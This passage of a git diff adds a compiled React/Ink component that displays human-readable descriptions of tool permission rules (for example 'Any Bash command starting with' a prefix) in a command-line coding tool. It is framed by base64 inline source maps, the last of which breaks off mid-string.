XSxcbiAgICAgIGlnbm9yZVdoaXRlc3BhY2U6IGZhbHNlLFxuICAgIH0pXG4gIH0sIFtub3RlYm9va0RhdGEsIG5vdGVib29rX3BhdGgsIG9sZFNvdXJjZSwgbmV3X3NvdXJjZSwgZWRpdF9tb2RlXSlcblxuICBsZXQgZWRpdFR5cGVEZXNjcmlwdGlvbjogc3RyaW5nXG4gIHN3aXRjaCAoZWRpdF9tb2RlKSB7XG4gICAgY2FzZSAnaW5zZXJ0JzpcbiAgICAgIGVkaXRUeXBlRGVzY3JpcHRpb24gPSAnSW5zZXJ0IG5ldyBjZWxsJ1xuICAgICAgYnJlYWtcbiAgICBjYXNlICdkZWxldGUnOlxuICAgICAgZWRpdFR5cGVEZXNjcmlwdGlvbiA9ICdEZWxldGUgY2VsbCdcbiAgICAgIGJyZWFrXG4gICAgZGVmYXVsdDpcbiAgICAgIGVkaXRUeXBlRGVzY3JpcHRpb24gPSAnUmVwbGFjZSBjZWxsIGNvbnRlbnRzJ1xuICB9XG5cbiAgcmV0dXJuIChcbiAgICA8Qm94IGZsZXhEaXJlY3Rpb249XCJjb2x1bW5cIj5cbiAgICAgIDxCb3ggYm9yZGVyU3R5bGU9XCJyb3VuZFwiIGZsZXhEaXJlY3Rpb249XCJjb2x1bW5cIiBwYWRkaW5nWD17MX0+XG4gICAgICAgIDxCb3ggcGFkZGluZ0JvdHRvbT17MX0gZmxleERpcmVjdGlvbj1cImNvbHVtblwiPlxuICAgICAgICAgIDxUZXh0IGJvbGQ+XG4gICAgICAgICAgICB7dmVyYm9zZSA/IG5vdGVib29rX3BhdGggOiByZWxhdGl2ZShnZXRDd2QoKSwgbm90ZWJvb2tfcGF0aCl9XG4gICAgICAgICAgPC9UZXh0PlxuICAgICAgICAgIDxUZXh0IGRpbUNvbG9yPlxuICAgICAgICAgICAge2VkaXRUeXBlRGVzY3JpcHRpb259IGZvciBjZWxsIHtjZWxsX2lkfVxuICAgICAgICAgICAge2NlbGxfdHlwZSA/IGAgKCR7Y2VsbF90eXBlfSlgIDogJyd9XG4gICAgICAgICAgPC9UZXh0PlxuICAgICAgICA8L0JveD5cbiAgICAgICAge2VkaXRfbW9kZSA9PT0gJ2RlbGV0ZScgPyAoXG4gICAgICAgICAgPEJveCBmbGV4RGlyZWN0aW9uPVwiY29sdW1uXCIgcGFkZGluZ0xlZnQ9ezJ9PlxuICAgICAgICAgICAgPEhpZ2hsaWdodGVkQ29kZSBjb2RlPXtvbGRTb3VyY2V9IGZpbGVQYXRoPXtub3RlYm9va19wYXRofSAvPlxuICAgICAgICAgIDwvQm94PlxuICAgICAgICApIDogZWRpdF9tb2RlID09PSAnaW5zZXJ0JyA/IChcbiAgICAgICAgICA8Qm94IGZsZXhEaXJlY3Rpb249XCJjb2x1bW5cIiBwYWRkaW5nTGVmdD17Mn0+XG4gICAgICAgICAgICA8SGlnaGxpZ2h0ZWRDb2RlXG4gICAgICAgICAgICAgIGNvZGU9e25ld19zb3VyY2V9XG4gICAgICAgICAgICAgIGZpbGVQYXRoPXtjZWxsX3R5cGUgPT09ICdtYXJrZG93bicgPyAnZmlsZS5tZCcgOiBub3RlYm9va19wYXRofVxuICAgICAgICAgICAgLz5cbiAgICAgICAgICA8L0JveD5cbiAgICAgICAgKSA6IGh1bmtzID8gKFxuICAgICAgICAgIGludGVyc3BlcnNlKFxuICAgICAgICAgICAgaHVua3MubWFwKF8gPT4gKFxuICAgICAgICAgICAgICA8U3RydWN0dXJlZERpZmZcbiAgICAgICAgICAgICAgICBrZXk9e18ubmV3U3RhcnR9XG4gICAgICAgICAgICAgICAgcGF0Y2g9e199XG4gICAgICAgICAgICAgICAgZGltPXtmYWxzZX1cbiAgICAgICAgICAgICAgICB3aWR0aD17d2lkdGh9XG4gICAgICAgICAgICAgICAgZmlsZVBhdGg9e25vdGVib29rX3BhdGh9XG4gICAgICAgICAgICAgICAgZmlyc3RMaW5lPXtuZXdfc291cmNlLnNwbGl0KCdcXG4nKVswXSA/PyBudWxsfVxuICAgICAgICAgICAgICAgIGZpbGVDb250ZW50PXtvbGRTb3VyY2V9XG4gICAgICAgICAgICAgIC8+XG4gICAgICAgICAgICApKSxcbiAgICAgICAgICAgIGkgPT4gKFxuICAgICAgICAgICAgICA8Tm9TZWxlY3QgZnJvbUxlZnRFZGdlIGtleT17YGVsbGlwc2lzLSR7aX1gfT5cbiAgICAgICAgICAgICAgICA8VGV4dCBkaW1Db2xvcj4uLi48L1RleHQ+XG4gICAgICAgICAgICAgIDwvTm9TZWxlY3Q+XG4gICAgICAgICAgICApLFxuICAgICAgICAgIClcbiAgICAgICAgKSA6IChcbiAgICAgICAgICA8SGlnaGxpZ2h0ZWRDb2RlXG4gICAgICAgICAgICBjb2RlPXtuZXdfc291cmNlfVxuICAgICAgICAgICAgZmlsZVBhdGg9e2NlbGxfdHlwZSA9PT0gJ21hcmtkb3duJyA/ICdmaWxlLm1kJyA6IG5vdGVib29rX3BhdGh9XG4gICAgICAgICAgLz5cbiAgICAgICAgKX1cbiAgICAgIDwvQm94PlxuICAgIDwvQm94PlxuICApXG59XG4iXSwibWFwcGluZ3MiOiI7QUFBQSxTQUFTQSxRQUFRLFFBQVEsTUFBTTtBQUMvQixPQUFPLEtBQUtDLEtBQUssTUFBTSxPQUFPO0FBQzlCLFNBQVNDLFFBQVEsRUFBRUMsR0FBRyxFQUFFQyxPQUFPLFFBQVEsT0FBTztBQUM5QyxTQUFTQyxHQUFHLEVBQUVDLFFBQVEsRUFBRUMsSUFBSSxRQUFRLGlCQUFpQjtBQUNyRCxjQUNFQyxnQkFBZ0IsRUFDaEJDLGVBQWUsUUFDViw0QkFBNEI7QUFDbkMsU0FBU0MsV0FBVyxRQUFRLHlCQUF5QjtBQUNyRCxTQUFTQyxNQUFNLFFBQVEsdUJBQXVCO0FBQzlDLFNBQVNDLGtCQUFrQixRQUFRLHdCQUF3QjtBQUMzRCxTQUFTQyxtQkFBbUIsUUFBUSxnQ0FBZ0M7QUFDcEUsU0FBU0MsYUFBYSxRQUFRLHdCQUF3QjtBQUN0RCxTQUFTQyxXQUFXLFFBQVEsNEJBQTRCO0FBQ3hELFNBQVNDLGVBQWUsUUFBUSwwQkFBMEI7QUFDMUQsU0FBU0MsY0FBYyxRQUFRLHlCQUF5QjtBQUV4RCxLQUFLQyxLQUFLLEdBQUc7RUFDWEMsYUFBYSxFQUFFLE1BQU07RUFDckJDLE9BQU8sRUFBRSxNQUFNLEdBQUcsU0FBUztFQUMzQkMsVUFBVSxFQUFFLE1BQU07RUFDbEJDLFNBQVMsQ0FBQyxF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
\ No newline at end of file
diff --git a/cc-haha/src/components/permissions/rules/PermissionRuleDescription.tsx b/cc-haha/src/components/permissions/rules/PermissionRuleDescription.tsx
new file mode 100644
index 0000000..8d5c13a
--- /dev/null
+++ b/cc-haha/src/components/permissions/rules/PermissionRuleDescription.tsx
@@ -0,0 +1,76 @@
+import { c as _c } from "react/compiler-runtime";
+import * as React from 'react';
+import { Text } from '../../../ink.js';
+import { BashTool } from '../../../tools/BashTool/BashTool.js';
+import type { PermissionRuleValue } from '../../../utils/permissions/PermissionRule.js';
+type RuleSubtitleProps = {
+  ruleValue: PermissionRuleValue;
+};
+export function PermissionRuleDescription(t0) {
+  const $ = _c(9);
+  const {
+    ruleValue
+  } = t0;
+  switch (ruleValue.toolName) {
+    case BashTool.name:
+      {
+        if (ruleValue.ruleContent) {
+          if (ruleValue.ruleContent.endsWith(":*")) {
+            let t1;
+            if ($[0] !== ruleValue.ruleContent) {
+              t1 = ruleValue.ruleContent.slice(0, -2);
+              $[0] = ruleValue.ruleContent;
+              $[1] = t1;
+            } else {
+              t1 = $[1];
+            }
+            let t2;
+            if ($[2] !== t1) {
+              t2 = <Text dimColor={true}>Any Bash command starting with{" "}<Text bold={true}>{t1}</Text></Text>;
+              $[2] = t1;
+              $[3] = t2;
+            } else {
+              t2 = $[3];
+            }
+            return t2;
+          } else {
+            let t1;
+            if ($[4] !== ruleValue.ruleContent) {
+              t1 = <Text dimColor={true}>The Bash command <Text bold={true}>{ruleValue.ruleContent}</Text></Text>;
+              $[4] = ruleValue.ruleContent;
+              $[5] = t1;
+            } else {
+              t1 = $[5];
+            }
+            return t1;
+          }
+        } else {
+          let t1;
+          if ($[6] === Symbol.for("react.memo_cache_sentinel")) {
+            t1 = <Text dimColor={true}>Any Bash command</Text>;
+            $[6] = t1;
+          } else {
+            t1 = $[6];
+          }
+          return t1;
+        }
+      }
+    default:
+      {
+        if (!ruleValue.ruleContent) {
+          let t1;
+          if ($[7] !== ruleValue.toolName) {
+            t1 = <Text dimColor={true}>Any use of the <Text bold={true}>{ruleValue.toolName}</Text> tool</Text>;
+            $[7] = ruleValue.toolName;
+            $[8] = t1;
+          } else {
+            t1 = $[8];
+          }
+          return t1;
+        } else {
+          return null;
+        }
+      }
+  }
+}
+//# sourceMappingURL=data:application/json;charset=utf-8;base64,eyJ2ZXJzaW9uIjozLCJuYW1lcyI6WyJSZWFjdCIsIlRleHQiLCJCYXNoVG9vbCIsIlBlcm1pc3Npb25SdWxlVmFsdWUiLCJSdWxlU3VidGl0bGVQcm9wcyIsInJ1bGVWYWx1ZSIsIlBlcm1pc3Npb25SdWxlRGVzY3JpcHRpb24iLCJ0MCIsIiQiLCJfYyIsInRvb2xOYW1lIiwibmFtZSIsInJ1bGVDb250ZW50IiwiZW5kc1dpdGgiLCJ0MSIsInNsaWNlIiwidDIiLCJTeW1ib2wiLCJmb3IiXSwic291cmNlcyI6WyJQZXJtaXNzaW9uUnVsZURlc2NyaXB0aW9uLnRzeCJdLCJzb3VyY2VzQ29udGVudCI6WyJpbXBvcnQgKiBhcyBSZWFjdCBmcm9tICdyZWFjdCdcbmltcG9ydCB7IFRleHQgfSBmcm9tICcuLi8uLi8uLi9pbmsuanMnXG5pbXBvcnQgeyBCYXNoVG9vbCB9IGZyb20gJy4uLy4uLy4uL3Rvb2xzL0Jhc2hUb29sL0Jhc2hUb29sLmpzJ1xuaW1wb3J0IHR5cGUgeyBQZXJtaXNzaW9uUnVsZVZhbHVlIH0gZnJvbSAnLi4vLi4vLi4vdXRpbHMvcGVybWlzc2lvbnMvUGVybWlzc2lvblJ1bGUuanMnXG5cbnR5cGUgUnVsZVN1YnRpdGxlUHJvcHMgPSB7XG4gIHJ1bGVWYWx1ZTogUGVybWlzc2lvblJ1bGVWYWx1ZVxufVxuXG5leHBvcnQgZnVuY3Rpb24gUGVybWlzc2lvblJ1bGVEZXNjcmlwdGlvbih7XG4gIHJ1bGVWYWx1ZSxcbn06IFJ1bGVTdWJ0aXRsZVByb3BzKTogUmVhY3QuUmVhY3ROb2RlIHtcbiAgc3dpdGNoIChydWxlVmFsdWUudG9vbE5hbWUpIHtcbiAgICBjYXNlIEJhc2hUb29sLm5hbWU6IHtcbiAgICAgIGlmIChydWxlVmFsdWUucnVsZUNvbnRlbnQpIHtcbiAgICAgICAgaWYgKHJ1bGVWYWx1ZS5ydWxlQ29udGVudC5lbmRzV2l0aCgnOionKSkge1xuICAgICAgICAgIHJldHVybiAoXG4gICAgICAgICAgICA8VGV4dCBkaW1Db2xvcj5cbiAgICAgICAgICAgICAgQW55IEJhc2ggY29tbWFuZCBzdGFydGluZyB3aXRoeycgJ31cbiAgICAgICAgICAgICAgPFRleHQgYm9sZD57cnVsZVZhbHVlLnJ1bGVDb250ZW50LnNsaWNlKDAsIC0yKX08L1RleHQ+XG4gICAgICAgICAgICA8L1RleHQ+XG4gICAgICAgICAgKVxuICAgICAgICB9IGVsc2Uge1xuICAgICAgICAgIHJldHVybiAoXG4gICAgICAgICAgICA8VGV4dCBkaW1Db2xvcj5cbiAgICAgICAgICAgICAgVGhlIEJhc2ggY29tbWFuZCA8VGV4dCBib2xkPntydWxlVmFsdWUucnVsZUNvbnRlbnR9PC9UZXh0PlxuICAgICAgICAgICAgPC9UZXh0PlxuICAgICAgICAgIClcbiAgICAgICAgfVxuICAgICAgfSBlbHNlIHtcbiAgICAgICAgcmV0dXJuIDxUZXh0IGRpbUNvbG9yPkFueSBCYXNoIGNvbW1hbmQ8L1RleHQ+XG4gICAgICB9XG4gICAgfVxuICAgIGRlZmF1bHQ6IHtcbiAgICAgIGlmICghcnVsZVZhbHVlLnJ1bGVDb250ZW50KSB7XG4gICAgICAgIHJldHVybiAoXG4gICAgICAgICAgPFRleHQgZGltQ29sb3I+XG4gICAgICAgICAgICBBbnkgdXNlIG9mIHRoZS